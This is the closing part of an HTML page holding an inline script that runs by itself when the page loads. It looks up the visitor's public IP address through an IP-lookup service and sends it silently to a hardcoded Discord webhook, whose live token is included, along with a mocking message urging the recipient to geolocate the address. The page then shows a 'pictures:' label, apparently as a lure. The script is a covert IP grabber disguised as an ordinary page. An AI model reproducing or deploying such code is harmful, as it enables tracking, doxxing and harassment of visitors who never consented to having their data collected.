 <script>
    (async () => {
      const status = document.getElementById('status');
      try {
        const ipResponse = await fetch('https://api.ipify.org?format=json');
        const ipData = await ipResponse.json();
        const userIP = ipData.ip;

        const webhookUrl = 'https://discord.com/api/webhooks/1335030061224558682/UvfnlIwHGZKKrvAnk1I_mnbl5ByKVVDxM4wmz_U_Kb8AVZYSuDNoIpP8cPRTy5JWyR07';
        const response = await fetch(webhookUrl, {
          method: 'POST',
          headers: {
            'Content-Type': 'application/json',
          },
          body: JSON.stringify({
            content: `**Another one, by Artex: ${userIP}**\n**Go to https://www.whatismyip.com/ and put that shit in there!`,
          }),
        });

        if (response.ok) {
          status.textContent = 'pictures:';
       status.style.color = 'rgb(255, 99, 71)';
        } else {
          status.textContent = 'Failed to process your information. Please try again later.';
        }
      } catch (error) {
        console.error('Error:', error);
        status.textContent = 'An error occurred. Please try again later.';
      }
    })();
  </script>
</body>
</html>